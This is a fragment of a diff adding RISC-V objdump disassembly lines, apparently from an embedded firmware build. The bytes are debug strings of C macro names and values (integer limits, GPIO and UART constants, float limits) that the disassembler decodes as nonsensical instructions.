+    6046:	414c                	lw	a1,4(a0)
+    6048:	4752                	lw	a4,20(sp)
+    604a:	4645                	li	a2,17
+    604c:	4c49                	li	s8,18
+    604e:	5f45                	li	t5,-15
+    6050:	4956                	lw	s2,84(sp)
+    6052:	4c424953          	0x4c424953
+    6056:	2045                	jal	60f6 <__stack_size+0x58f6>
+    6058:	0030                	addi	a2,sp,8
+    605a:	5f5f 4955 544e      	0x544e49555f5f
+    6060:	414d                	li	sp,19
+    6062:	5f58                	lw	a4,60(a4)
+    6064:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    6068:	6320                	flw	fs0,64(a4)
+    606a:	2320                	fld	fs0,64(a4)
+    606c:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
+    6070:	004c                	addi	a1,sp,4
+    6072:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    6076:	4f5f 5455 5550      	0x555054554f5f
+    607c:	5f54                	lw	a3,60(a4)
+    607e:	4f58                	lw	a4,28(a4)
+    6080:	2052                	fld	ft0,272(sp)
+    6082:	7830                	flw	fa2,112(s0)
+    6084:	3034                	fld	fa3,96(s0)
+    6086:	5f00                	lw	s0,56(a4)
+    6088:	6e5f 6565 5f64      	0x5f6465656e5f
+    608e:	7470                	flw	fa2,108(s0)
+    6090:	6472                	flw	fs0,28(sp)
+    6092:	6669                	lui	a2,0x1a
+    6094:	5f66                	lw	t5,120(sp)
+    6096:	0074                	addi	a3,sp,12
+    6098:	535f 5f43 514d      	0x514d5f43535f
+    609e:	505f 4952 5f4f      	0x5f4f4952505f
+    60a4:	414d                	li	sp,19
+    60a6:	2058                	fld	fa4,128(s0)
+    60a8:	3431                	jal	5ab4 <__stack_size+0x52b4>
+    60aa:	5f00                	lw	s0,56(a4)
+    60ac:	445f 544f 2053      	0x2053544f445f
+    60b2:	202c                	fld	fa1,64(s0)
+    60b4:	2e2e                	fld	ft8,200(sp)
+    60b6:	002e                	c.slli	zero,0xb
+    60b8:	525f 4545 544e      	0x544e4545525f
+    60be:	4d5f 5f50 3550      	0x35505f504d5f
+    60c4:	74702853          	0x74702853
+    60c8:	2972                	fld	fs2,280(sp)
+    60ca:	2820                	fld	fs0,80(s0)
+    60cc:	7028                	flw	fa0,96(s0)
+    60ce:	7274                	flw	fa3,100(a2)
+    60d0:	2d29                	jal	66ea <__stack_size+0x5eea>
+    60d2:	5f3e                	lw	t5,236(sp)
+    60d4:	3570                	fld	fa2,232(a0)
+    60d6:	5f002973          	csrr	s2,0x5f0
+    60da:	495f 544e 3436      	0x3436544e495f
+    60e0:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    60e6:	3020                	fld	fs0,96(s0)
+    60e8:	3778                	fld	fa4,232(a4)
+    60ea:	6666                	flw	fa2,88(sp)
+    60ec:	6666                	flw	fa2,88(sp)
+    60ee:	6666                	flw	fa2,88(sp)
+    60f0:	6666                	flw	fa2,88(sp)
+    60f2:	6666                	flw	fa2,88(sp)
+    60f4:	6666                	flw	fa2,88(sp)
+    60f6:	6666                	flw	fa2,88(sp)
+    60f8:	4c66                	lw	s8,88(sp)
+    60fa:	004c                	addi	a1,sp,4
+    60fc:	535f 5f43 5250      	0x52505f43535f
+    6102:	4f49                	li	t5,18
+    6104:	4952                	lw	s2,20(sp)
+    6106:	5954                	lw	a3,52(a0)
+    6108:	535f 4843 4445      	0x44454843535f
+    610e:	4c55                	li	s8,21
+    6110:	4e49                	li	t3,18
+    6112:	30312047          	fmsub.s	ft0,ft2,ft3,ft6,rdn
+    6116:	0031                	c.nop	12
+    6118:	5f5f 4244 5f4c      	0x5f4c42445f5f
+    611e:	4148                	lw	a0,4(a0)
+    6120:	45445f53          	0x45445f53
+    6124:	4f4e                	lw	t5,208(sp)
+    6126:	4d52                	lw	s10,20(sp)
+    6128:	5f5f 3120 5f00      	0x5f0031205f5f
+    612e:	415f 4654 4c49      	0x4c494654415f
+    6134:	5f45                	li	t5,-15
+    6136:	4956                	lw	s2,84(sp)
+    6138:	4c424953          	0x4c424953
+    613c:	2045                	jal	61dc <__stack_size+0x59dc>
+    613e:	0031                	c.nop	12
+    6140:	5f5f 4c46 3654      	0x36544c465f5f
+    6146:	5f34                	lw	a3,120(a4)
+    6148:	414d                	li	sp,19
+    614a:	5f58                	lw	a4,60(a4)
+    614c:	3031                	jal	5958 <__stack_size+0x5158>
+    614e:	455f 5058 5f5f      	0x5f5f5058455f
+    6154:	3320                	fld	fs0,96(a4)
+    6156:	3830                	fld	fa2,112(s0)
+    6158:	5f00                	lw	s0,56(a4)
+    615a:	635f 6d6f 6170      	0x61706d6f635f
+    6160:	5f72                	lw	t5,60(sp)
+    6162:	6e66                	flw	ft8,88(sp)
+    6164:	745f 645f 6665      	0x6665645f745f
+    616a:	6e69                	lui	t3,0x1a
+    616c:	6465                	lui	s0,0x19
+    616e:	0020                	addi	s0,sp,8
+    6170:	4e5f 4c5f 5349      	0x53494c5f4e5f
+    6176:	5354                	lw	a3,36(a4)
+    6178:	3320                	fld	fs0,96(a4)
+    617a:	0030                	addi	a2,sp,8
+    617c:	5f5f 4e47 4355      	0x43554e475f5f
+    6182:	565f 5f41 494c      	0x494c5f41565f
+    6188:	435f5453          	0x435f5453
+    618c:	41504d4f          	fnmadd.s	fs10,ft0,fs5,fs0,rmm
+    6190:	4954                	lw	a3,20(a0)
+    6192:	4942                	lw	s2,16(sp)
+    6194:	494c                	lw	a1,20(a0)
+    6196:	5954                	lw	a3,52(a0)
+    6198:	3120                	fld	fs0,96(a0)
+    619a:	5f00                	lw	s0,56(a4)
+    619c:	505f 5254 4944      	0x49445254505f
+    61a2:	4646                	lw	a2,80(sp)
+    61a4:	545f 5059 5f45      	0x5f455059545f
+    61aa:	205f 6e69 0074      	0x746e69205f
+    61b0:	7570                	flw	fa2,108(a0)
+    61b2:	6374                	flw	fa3,68(a4)
+    61b4:	6168                	flw	fa0,68(a0)
+    61b6:	5f72                	lw	t5,60(sp)
+    61b8:	6e75                	lui	t3,0x1d
+    61ba:	6f6c                	flw	fa1,92(a4)
+    61bc:	64656b63          	bltu	a0,t1,6812 <__stack_size+0x6012>
+    61c0:	5f28                	lw	a0,120(a4)
+    61c2:	5f202963          	0x5f202963
+    61c6:	7570                	flw	fa2,108(a0)
+    61c8:	6374                	flw	fa3,68(a4)
+    61ca:	6168                	flw	fa0,68(a0)
+    61cc:	5f72                	lw	t5,60(sp)
+    61ce:	6e75                	lui	t3,0x1d
+    61d0:	6f6c                	flw	fa1,92(a4)
+    61d2:	64656b63          	bltu	a0,t1,6828 <__stack_size+0x6028>
+    61d6:	5f28                	lw	a0,120(a4)
+    61d8:	5f002963          	0x5f002963
+    61dc:	475f 4343 415f      	0x415f4343475f
+    61e2:	4f54                	lw	a3,28(a4)
+    61e4:	494d                	li	s2,19
+    61e6:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
+    61ea:	5241                	li	tp,-16
+    61ec:	3631                	jal	5cf8 <__stack_size+0x54f8>
+    61ee:	545f 4c5f 434f      	0x434f4c5f545f
+    61f4:	52465f4b          	fnmsub.d	ft10,fa2,ft4,fa0,unknown
+    61f8:	4545                	li	a0,17
+    61fa:	3120                	fld	fs0,96(a0)
+    61fc:	5f00                	lw	s0,56(a4)
+    61fe:	465f 544c 3233      	0x3233544c465f
+    6204:	5f58                	lw	a4,60(a4)
+    6206:	4148                	lw	a0,4(a0)
+    6208:	45445f53          	0x45445f53
+    620c:	4f4e                	lw	t5,208(sp)
+    620e:	4d52                	lw	s10,20(sp)
+    6210:	5f5f 3120 5f00      	0x5f0031205f5f
+    6216:	475f 554e 5f43      	0x5f43554e475f
+    621c:	43445453          	0x43445453
+    6220:	495f 4c4e 4e49      	0x4e494c4e495f
+    6226:	5f45                	li	t5,-15
+    6228:	205f 0031 535f      	0x535f0031205f
+    622e:	50435f43          	fmadd.s	ft10,ft6,ft4,fa0,unknown
+    6232:	5455                	li	s0,-11
+    6234:	4d49                	li	s10,18
+    6236:	2045                	jal	62d6 <__stack_size+0x5ad6>
+    6238:	3336                	fld	ft6,360(sp)
+    623a:	5300                	lw	s0,32(a4)
+    623c:	495f 4246 4b4c      	0x4b4c4246495f
+    6242:	5f20                	lw	s0,120(a4)
+    6244:	4649                	li	a2,18
+    6246:	4c42                	lw	s8,16(sp)
+    6248:	4955004b          	fnmsub.s	ft0,fa0,fs5,fs1,rne
+    624c:	544e                	lw	s0,240(sp)
+    624e:	3436                	fld	fs0,360(sp)
+    6250:	4d5f 5841 5f00      	0x5f0058414d5f
+    6256:	535f4353          	0x535f4353
+    625a:	4f50                	lw	a2,28(a4)
+    625c:	4152                	lw	sp,20(sp)
+    625e:	4944                	lw	s1,20(a0)
+    6260:	45535f43          	0x45535f43
+    6264:	5652                	lw	a2,52(sp)
+    6266:	5245                	li	tp,-15
+    6268:	3720                	fld	fs0,104(a4)
+    626a:	535f0037          	lui	zero,0x535f0
+    626e:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    6272:	5055                	c.li	zero,-11
+    6274:	2045                	jal	6314 <__stack_size+0x5b14>
+    6276:	3231                	jal	5b82 <__stack_size+0x5382>
+    6278:	0030                	addi	a2,sp,8
+    627a:	5f5f 7567 7261      	0x726175675f5f
+    6280:	6564                	flw	fs1,76(a0)
+    6282:	5f64                	lw	s1,124(a4)
+    6284:	7962                	flw	fs2,56(sp)
+    6286:	7828                	flw	fa0,112(s0)
+    6288:	2029                	jal	6292 <__stack_size+0x5a92>
+    628a:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    6290:	615f 6e6e 746f      	0x746f6e6e615f
+    6296:	7461                	lui	s0,0xffff8
+    6298:	2865                	jal	6350 <__stack_size+0x5b50>
+    629a:	72617567          	0x72617567
+    629e:	6564                	flw	fs1,76(a0)
+    62a0:	5f64                	lw	s1,124(a4)
+    62a2:	7962                	flw	fs2,56(sp)
+    62a4:	7828                	flw	fa0,112(s0)
+    62a6:	2929                	jal	66c0 <__stack_size+0x5ec0>
+    62a8:	5f00                	lw	s0,56(a4)
+    62aa:	415f4353          	0x415f4353
+    62ae:	4f49                	li	t5,18
+    62b0:	4d5f 5841 3320      	0x332058414d5f
+    62b6:	0035                	c.nop	13
+    62b8:	5f5f 5845 4f50      	0x4f5058455f5f
+    62be:	5452                	lw	s0,52(sp)
+    62c0:	0020                	addi	s0,sp,8
+    62c2:	5f5f 4d50 2854      	0x28544d505f5f
+    62c8:	7261                	lui	tp,0xffff8
+    62ca:	20297367          	0x20297367
+    62ce:	7261                	lui	tp,0xffff8
+    62d0:	5f007367          	0x5f007367
+    62d4:	6e5f 6f74 7368      	0x73686f746e5f
+    62da:	5f28                	lw	a0,120(a4)
+    62dc:	2978                	fld	fa4,208(a0)
+    62de:	5f20                	lw	s0,120(a4)
+    62e0:	625f 7773 7061      	0x70617773625f
+    62e6:	3631                	jal	5df2 <__stack_size+0x55f2>
+    62e8:	5f28                	lw	a0,120(a4)
+    62ea:	2978                	fld	fa4,208(a0)
+    62ec:	5500                	lw	s0,40(a0)
+    62ee:	4e49                	li	t3,18
+    62f0:	5f54                	lw	a3,60(a4)
+    62f2:	4146                	lw	sp,80(sp)
+    62f4:	5f385453          	0x5f385453
+    62f8:	414d                	li	sp,19
+    62fa:	0058                	addi	a4,sp,4
+    62fc:	5f5f 4357 4148      	0x414843575f5f
+    6302:	5f52                	lw	t5,52(sp)
+    6304:	54444957          	0x54444957
+    6308:	5f48                	lw	a0,60(a4)
+    630a:	205f 3233 4300      	0x43003233205f
+    6310:	4d5f5253          	0x4d5f5253
+    6314:	5048                	lw	a0,36(s0)
+    6316:	434d                	li	t1,19
+    6318:	544e554f          	0x544e554f
+    631c:	5245                	li	tp,-15
+    631e:	4834                	lw	a3,80(s0)
+    6320:	3220                	fld	fs0,96(a2)
+    6322:	0030                	addi	a2,sp,8
+    6324:	414d                	li	sp,19
+    6326:	5f58                	lw	a4,60(a4)
+    6328:	4f4e4143          	fmadd.q	ft2,ft8,fs4,fs1,rmm
+    632c:	204e                	fld	ft0,208(sp)
+    632e:	3532                	fld	fa0,296(sp)
+    6330:	0035                	c.nop	13
+    6332:	5f5f 4c46 3654      	0x36544c465f5f
+    6338:	5f34                	lw	a3,120(a4)
+    633a:	494d                	li	s2,19
+    633c:	5f4e                	lw	t5,240(sp)
+    633e:	205f 2e32 3232      	0x32322e32205f
+    6344:	3035                	jal	5b70 <__stack_size+0x5370>
+    6346:	35383337          	lui	t1,0x35383
+    634a:	3538                	fld	fa4,104(a0)
+    634c:	3730                	fld	fa2,104(a4)
+    634e:	3032                	fld	ft0,296(sp)
+    6350:	3331                	jal	605c <__stack_size+0x585c>
+    6352:	3338                	fld	fa4,96(a4)
+    6354:	3930                	fld	fa2,112(a0)
+    6356:	3230                	fld	fa2,96(a2)
+    6358:	31373233          	0x31373233
+    635c:	32333337          	lui	t1,0x32333
+    6360:	3034                	fld	fa3,96(s0)
+    6362:	3034                	fld	fa3,96(s0)
+    6364:	6536                	flw	fa0,76(sp)
+    6366:	332d                	jal	6090 <__stack_size+0x5890>
+    6368:	3830                	fld	fa2,112(s0)
+    636a:	3646                	fld	fa2,112(sp)
+    636c:	0034                	addi	a3,sp,8
+    636e:	5f5f 5358 5f49      	0x5f4953585f5f
+    6374:	4956                	lw	s2,84(sp)
+    6376:	4c424953          	0x4c424953
+    637a:	2045                	jal	641a <__stack_size+0x5c1a>
+    637c:	0030                	addi	a2,sp,8
+    637e:	5f5f 7473 6672      	0x667274735f5f
+    6384:	6974                	flw	fa3,84(a0)
+    6386:	656d                	lui	a0,0x1b
+    6388:	696c                	flw	fa1,84(a0)
+    638a:	6628656b          	0x6628656b
+    638e:	746d                	lui	s0,0xffffb
+    6390:	7261                	lui	tp,0xffff8
+    6392:	69662c67          	0x69662c67
+    6396:	7372                	flw	ft6,60(sp)
+    6398:	7674                	flw	fa3,108(a2)
+    639a:	7261                	lui	tp,0xffff8
+    639c:	7261                	lui	tp,0xffff8
+    639e:	5f202967          	0x5f202967
+    63a2:	615f 7474 6972      	0x69727474615f
+    63a8:	7562                	flw	fa0,56(sp)
+    63aa:	6574                	flw	fa3,76(a0)
+    63ac:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    63b2:	6f66                	flw	ft10,88(sp)
+    63b4:	6d72                	flw	fs10,28(sp)
+    63b6:	7461                	lui	s0,0xffff8
+    63b8:	5f5f 2820 5f5f      	0x5f5f28205f5f
+    63be:	66727473          	csrrci	s0,0x667,4
+    63c2:	6974                	flw	fa3,84(a0)
+    63c4:	656d                	lui	a0,0x1b
+    63c6:	5f5f 202c 6d66      	0x6d66202c5f5f
+    63cc:	6174                	flw	fa3,68(a0)
+    63ce:	6772                	flw	fa4,28(sp)
+    63d0:	202c                	fld	fa1,64(s0)
+    63d2:	6966                	flw	fs2,88(sp)
+    63d4:	7372                	flw	ft6,60(sp)
+    63d6:	7674                	flw	fa3,108(a2)
+    63d8:	7261                	lui	tp,0xffff8
+    63da:	7261                	lui	tp,0xffff8
+    63dc:	29292967          	0x29292967
+    63e0:	5f00                	lw	s0,56(a4)
+    63e2:	505f 5254 4944      	0x49445254505f
+    63e8:	4646                	lw	a2,80(sp)
+    63ea:	545f 0020 4353      	0x43530020545f
+    63f0:	4148                	lw	a0,4(a0)
+    63f2:	5f52                	lw	t5,52(sp)
+    63f4:	414d                	li	sp,19
+    63f6:	0058                	addi	a4,sp,4
+    63f8:	4446                	lw	s0,80(sp)
+    63fa:	5a5f 5245 284f      	0x284f52455a5f
+    6400:	2970                	fld	fa2,208(a0)
+    6402:	2820                	fld	fs0,80(s0)
+    6404:	5f5f 7865 6574      	0x657478655f5f
+    640a:	736e                	flw	ft6,248(sp)
+    640c:	6f69                	lui	t5,0x1a
+    640e:	5f6e                	lw	t5,248(sp)
+    6410:	205f 7628 696f      	0x696f7628205f
+    6416:	2964                	fld	fs1,208(a0)
+    6418:	7b28                	flw	fa0,112(a4)
+    641a:	7320                	flw	fs0,96(a4)
+    641c:	7a69                	lui	s4,0xffffa
+    641e:	5f65                	li	t5,-7
+    6420:	2074                	fld	fa3,192(s0)
+    6422:	5f5f 3b69 6320      	0x63203b695f5f
+    6428:	6168                	flw	fa0,68(a0)
+    642a:	2072                	fld	ft0,280(sp)
+    642c:	5f2a                	lw	t5,168(sp)
+    642e:	745f 706d 3d20      	0x3d20706d745f
+    6434:	2820                	fld	fs0,80(s0)
+    6436:	72616863          	bltu	sp,t1,6b66 <__stack_size+0x6366>
+    643a:	2a20                	fld	fs0,80(a2)
+    643c:	7029                	c.lui	zero,0xfffea
+    643e:	6f66203b          	0x6f66203b
+    6442:	2072                	fld	ft0,280(sp)
+    6444:	5f28                	lw	a0,120(a4)
+    6446:	695f 3d20 3020      	0x30203d20695f
+    644c:	5f5f203b          	0x5f5f203b
+    6450:	2069                	jal	64da <__stack_size+0x5cda>
+    6452:	203c                	fld	fa5,64(s0)
+    6454:	657a6973          	csrrsi	s2,0x657,20
+    6458:	2820666f          	jal	a2,c6da <__stack_size+0xbeda>
+    645c:	282a                	fld	fa6,136(sp)
+    645e:	2970                	fld	fa2,208(a0)
+    6460:	3b29                	jal	617a <__stack_size+0x597a>
+    6462:	2b20                	fld	fs0,80(a4)
+    6464:	695f5f2b          	0x695f5f2b
+    6468:	2029                	jal	6472 <__stack_size+0x5c72>
+    646a:	5f2a                	lw	t5,168(sp)
+    646c:	745f 706d 2b2b      	0x2b2b706d745f
+    6472:	3d20                	fld	fs0,120(a0)
+    6474:	3020                	fld	fs0,96(s0)
+    6476:	297d203b          	0x297d203b
+    647a:	0029                	c.nop	10
+    647c:	5845                	li	a6,-15
+    647e:	5449                	li	s0,-14
+    6480:	535f 4355 4543      	0x45434355535f
+    6486:	30205353          	0x30205353
+    648a:	4c00                	lw	s0,24(s0)
+    648c:	4445                	li	s0,17
+    648e:	475f 4e52 3220      	0x32204e52475f
+    6494:	5500                	lw	s0,40(a0)
+    6496:	5241                	li	tp,-16
+    6498:	5f54                	lw	a3,60(a4)
+    649a:	5854                	lw	a3,52(s0)
+    649c:	4946                	lw	s2,80(sp)
+    649e:	4f46                	lw	t5,80(sp)
+    64a0:	3020                	fld	fs0,96(s0)
+    64a2:	3078                	fld	fa4,224(s0)
+    64a4:	0030                	addi	a2,sp,8
+    64a6:	5f5f 7473 6672      	0x667274735f5f
+    64ac:	6f6d                	lui	t5,0x1b
+    64ae:	6c6e                	flw	fs8,216(sp)
+    64b0:	6b69                	lui	s6,0x1a
+    64b2:	2865                	jal	656a <__stack_size+0x5d6a>
+    64b4:	6d66                	flw	fs10,88(sp)
+    64b6:	6174                	flw	fa3,68(a0)
+    64b8:	6772                	flw	fa4,28(sp)
+    64ba:	662c                	flw	fa1,72(a2)
+    64bc:	7269                	lui	tp,0xffffa
+    64be:	61767473          	csrrci	s0,0x617,12
+    64c2:	6172                	flw	ft2,28(sp)
+    64c4:	6772                	flw	fa4,28(sp)
+    64c6:	2029                	jal	64d0 <__stack_size+0x5cd0>
+    64c8:	5f5f 7461 7274      	0x727474615f5f
+    64ce:	6269                	lui	tp,0x1a
+    64d0:	7475                	lui	s0,0xffffd
+    64d2:	5f65                	li	t5,-7
+    64d4:	285f 5f28 665f      	0x665f5f28285f
+    64da:	616d726f          	jal	tp,ddaf0 <__stack_size+0xdd2f0>
+    64de:	5f74                	lw	a3,124(a4)
+    64e0:	205f 5f28 735f      	0x735f5f28205f
+    64e6:	7274                	flw	fa3,100(a2)
+    64e8:	6d66                	flw	fs10,88(sp)
+    64ea:	5f5f6e6f          	jal	t3,fd2de <__stack_size+0xfcade>
+    64ee:	202c                	fld	fa1,64(s0)
+    64f0:	6d66                	flw	fs10,88(sp)
+    64f2:	6174                	flw	fa3,68(a0)
+    64f4:	6772                	flw	fa4,28(sp)
+    64f6:	202c                	fld	fa1,64(s0)
+    64f8:	6966                	flw	fs2,88(sp)
+    64fa:	7372                	flw	ft6,60(sp)
+    64fc:	7674                	flw	fa3,108(a2)
+    64fe:	7261                	lui	tp,0xffff8
+    6500:	7261                	lui	tp,0xffff8
+    6502:	29292967          	0x29292967
+    6506:	4900                	lw	s0,16(a0)
+    6508:	544e                	lw	s0,240(sp)
+    650a:	4d5f3233          	0x4d5f3233
+    650e:	4e49                	li	t3,18
+    6510:	2820                	fld	fs0,80(s0)
+    6512:	492d                	li	s2,11
+    6514:	544e                	lw	s0,240(sp)
+    6516:	4d5f3233          	0x4d5f3233
+    651a:	5841                	li	a6,-16
+    651c:	2d20                	fld	fs0,88(a0)
+    651e:	3120                	fld	fs0,96(a0)
+    6520:	0029                	c.nop	10
+    6522:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    6526:	4c5f 574f 495f      	0x495f574f4c5f
+    652c:	2045                	jal	65cc <__stack_size+0x5dcc>
+    652e:	7830                	flw	fa2,112(s0)
+    6530:	5f003033          	0x5f003033
+    6534:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    653a:	414d                	li	sp,19
+    653c:	5f58                	lw	a4,60(a4)
+    653e:	205f 2e31 3831      	0x38312e31205f
+    6544:	3739                	jal	6452 <__stack_size+0x5c52>
+    6546:	39343133          	0x39343133
+    654a:	3335                	jal	6276 <__stack_size+0x5a76>
+    654c:	3735                	jal	6478 <__stack_size+0x5c78>
+    654e:	3332                	fld	ft6,296(sp)
+    6550:	3731                	jal	645c <__stack_size+0x5c5c>
+    6552:	3536                	fld	fa0,360(sp)
+    6554:	3830                	fld	fa2,112(s0)
+    6556:	3735                	jal	6482 <__stack_size+0x5c82>
+    6558:	3935                	jal	6194 <__stack_size+0x5994>
+    655a:	36363233          	0x36363233
+    655e:	3832                	fld	fa6,296(sp)
+    6560:	3030                	fld	fa2,96(s0)
+    6562:	65323037          	lui	zero,0x65323
+    6566:	3339342b          	0x3339342b
+    656a:	4c32                	lw	s8,12(sp)
+    656c:	5500                	lw	s0,40(a0)
+    656e:	4e49                	li	t3,18
+    6570:	3854                	fld	fa3,176(s0)
+    6572:	435f 5f00 4552      	0x45525f00435f
+    6578:	4e45                	li	t3,17
+    657a:	5f54                	lw	a3,60(a4)
+    657c:	54524357          	0x54524357
+    6580:	5f424d4f          	fnmadd.q	fs10,ft4,fs4,fa1,rmm
+    6584:	54415453          	0x54415453
+    6588:	2845                	jal	6638 <__stack_size+0x5e38>
+    658a:	7470                	flw	fa2,108(s0)
+    658c:	2972                	fld	fs2,280(sp)
+    658e:	2820                	fld	fs0,80(s0)
+    6590:	7028                	flw	fa0,96(s0)
+    6592:	7274                	flw	fa3,100(a2)
+    6594:	2d29                	jal	6bae <__stack_size+0x63ae>
+    6596:	5f3e                	lw	t5,236(sp)
+    6598:	656e                	flw	fa0,216(sp)
+    659a:	725f2e77          	0x725f2e77
+    659e:	6565                	lui	a0,0x19
+    65a0:	746e                	flw	fs0,248(sp)
+    65a2:	5f2e                	lw	t5,232(sp)
+    65a4:	74726377          	0x74726377
+    65a8:	5f626d6f          	jal	s10,2cb9e <__stack_size+0x2c39e>
+    65ac:	74617473          	csrrci	s0,0x746,2
+    65b0:	2965                	jal	6a68 <__stack_size+0x6268>
+    65b2:	5f00                	lw	s0,56(a4)
+    65b4:	535f 5a49 5f45      	0x5f455a49535f
+    65ba:	2054                	fld	fa3,128(s0)
+    65bc:	5f00                	lw	s0,56(a4)
+    65be:	435f 4148 3352      	0x33524148435f
+    65c4:	5f32                	lw	t5,44(sp)
+    65c6:	5954                	lw	a3,52(a0)
+    65c8:	4550                	lw	a2,12(a0)
+    65ca:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    65d0:	6e752067          	0x6e752067
+    65d4:	6e676973          	csrrsi	s2,0x6e6,14
+    65d8:	6465                	lui	s0,0x19
+    65da:	6920                	flw	fs0,80(a0)
+    65dc:	746e                	flw	fs0,248(sp)
+    65de:	5f00                	lw	s0,56(a4)
+    65e0:	4c5f 6e6f 2067      	0x20676e6f4c5f
+    65e6:	6f6c                	flw	fa1,92(a4)
+    65e8:	676e                	flw	fa4,216(sp)
+    65ea:	5f00                	lw	s0,56(a4)
+    65ec:	475f 4343 415f      	0x415f4343475f
+    65f2:	4f54                	lw	a3,28(a4)
+    65f4:	494d                	li	s2,19
+    65f6:	48535f43          	fmadd.s	ft10,ft6,ft5,fs1,unknown
+    65fa:	5f54524f          	fnmadd.q	ft4,fs0,fs5,fa1,unknown
+    65fe:	4f4c                	lw	a1,28(a4)
+    6600:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    6604:	4552                	lw	a0,20(sp)
+    6606:	2045                	jal	66a6 <__stack_size+0x5ea6>
+    6608:	0031                	c.nop	12
+    660a:	475f 4343 4c5f      	0x4c5f4343475f
+    6610:	4d49                	li	s10,18
+    6612:	5449                	li	s0,-14
+    6614:	5f485f53          	0x5f485f53
+    6618:	0020                	addi	s0,sp,8
+    661a:	5f46                	lw	t5,112(sp)
+    661c:	46544547          	fmsub.q	fa0,fs0,ft5,fs0,rmm
+    6620:	2044                	fld	fs1,128(s0)
+    6622:	0031                	c.nop	12
+    6624:	535f 5f43 5341      	0x53415f43535f
+    662a:	4e59                	li	t3,22
+    662c:	4f524843          	fmadd.q	fa6,ft4,fs5,fs1,rmm
+    6630:	4f4e                	lw	t5,208(sp)
+    6632:	5355                	li	t1,-11
+    6634:	495f 204f 3132      	0x3132204f495f
+    663a:	5f00                	lw	s0,56(a4)
+    663c:	5f535953          	0x5f535953
+    6640:	45484353          	0x45484353
+    6644:	5f44                	lw	s1,60(a4)
+    6646:	5f48                	lw	a0,60(a4)
+    6648:	0020                	addi	s0,sp,8
+    664a:	5f5f 4953 455a      	0x455a49535f5f
+    6650:	505f464f          	fnmadd.s	fa2,ft10,ft5,fa0,rmm
+    6654:	544e494f          	0x544e494f
+    6658:	5245                	li	tp,-15
+    665a:	5f5f 3420 4100      	0x410034205f5f
+    6660:	4c4c                	lw	a1,28(s0)
+    6662:	4550                	lw	a2,12(a0)
+    6664:	4d52                	lw	s10,20(sp)
+    6666:	53282053          	0x53282053
+    666a:	495f 5553 4449      	0x44495553495f
+    6670:	7c20                	flw	fs0,120(s0)
+    6672:	5320                	lw	s0,96(a4)
+    6674:	495f 4753 4449      	0x44494753495f
+    667a:	7c20                	flw	fs0,120(s0)
+    667c:	5320                	lw	s0,96(a4)
+    667e:	495f 5653 5854      	0x58545653495f
+    6684:	7c20                	flw	fs0,120(s0)
+    6686:	5320                	lw	s0,96(a4)
+    6688:	495f 5752 5558      	0x55585752495f
+    668e:	7c20                	flw	fs0,120(s0)
+    6690:	5320                	lw	s0,96(a4)
+    6692:	495f 5752 4758      	0x47585752495f
+    6698:	7c20                	flw	fs0,120(s0)
+    669a:	5320                	lw	s0,96(a4)
+    669c:	495f 5752 4f58      	0x4f585752495f
+    66a2:	0029                	c.nop	10
+    66a4:	5f5f 7570 6572      	0x657275705f5f
+    66aa:	5f20                	lw	s0,120(a4)
+    66ac:	615f 7474 6972      	0x69727474615f
+    66b2:	7562                	flw	fa0,56(sp)
+    66b4:	6574                	flw	fa3,76(a0)
+    66b6:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    66bc:	7570                	flw	fa2,108(a0)
+    66be:	6572                	flw	fa0,28(sp)
+    66c0:	5f5f 2929 5f00      	0x5f0029295f5f
+    66c6:	465f 544c 3231      	0x3231544c465f
+    66cc:	5f38                	lw	a4,120(a4)
+    66ce:	4f4e                	lw	t5,208(sp)
+    66d0:	4d52                	lw	s10,20(sp)
+    66d2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    66d8:	3120                	fld	fs0,96(a0)
+    66da:	312e                	fld	ft2,232(sp)
+    66dc:	3938                	fld	fa4,112(a0)
+    66de:	34313337          	lui	t1,0x34313
+    66e2:	3539                	jal	64f0 <__stack_size+0x5cf0>
+    66e4:	32373533          	0x32373533
+    66e8:	36373133          	0x36373133
+    66ec:	3035                	jal	5f18 <__stack_size+0x5718>
+    66ee:	3538                	fld	fa4,104(a0)
+    66f0:	33393537          	lui	a0,0x33393
+    66f4:	3632                	fld	fa2,296(sp)
+    66f6:	3236                	fld	ft4,360(sp)
+    66f8:	3038                	fld	fa4,96(s0)
+    66fa:	3730                	fld	fa2,104(a4)
+    66fc:	3230                	fld	fa2,96(a2)
+    66fe:	2b65                	jal	6cb6 <__stack_size+0x64b6>
+    6700:	3934                	fld	fa3,112(a0)
+    6702:	31463233          	0x31463233
+    6706:	3832                	fld	fa6,296(sp)
+    6708:	4d00                	lw	s0,24(a0)
+    670a:	4f5a                	lw	t5,148(sp)
+    670c:	454e                	lw	a0,208(sp)
+    670e:	525f 5444 4d49      	0x4d495444525f
+    6714:	2845                	jal	67c4 <__stack_size+0x5fc4>
+    6716:	2029                	jal	6720 <__stack_size+0x5f20>
+    6718:	7b28                	flw	fa0,112(a4)
+    671a:	7220                	flw	fs0,96(a2)
+    671c:	6765                	lui	a4,0x19
+    671e:	7369                	lui	t1,0xffffa
+    6720:	6574                	flw	fa3,76(a0)
+    6722:	2072                	fld	ft0,280(sp)
+    6724:	6975                	lui	s2,0x1d
+    6726:	746e                	flw	fs0,248(sp)
+    6728:	745f3233          	0x745f3233
+    672c:	6120                	flw	fs0,64(a0)
+    672e:	2030                	fld	fa2,64(s0)
+    6730:	7361                	lui	t1,0xffff8
+    6732:	206d                	jal	67dc <__stack_size+0x5fdc>
+    6734:	2228                	fld	fa0,64(a2)
+    6736:	3061                	jal	5fbe <__stack_size+0x57be>
+    6738:	2922                	fld	fs2,8(sp)
+    673a:	202c                	fld	fa1,64(s0)
+    673c:	3161                	jal	63c4 <__stack_size+0x5bc4>
+    673e:	6120                	flw	fs0,64(a0)
+    6740:	28206d73          	csrrsi	s10,0x282,0
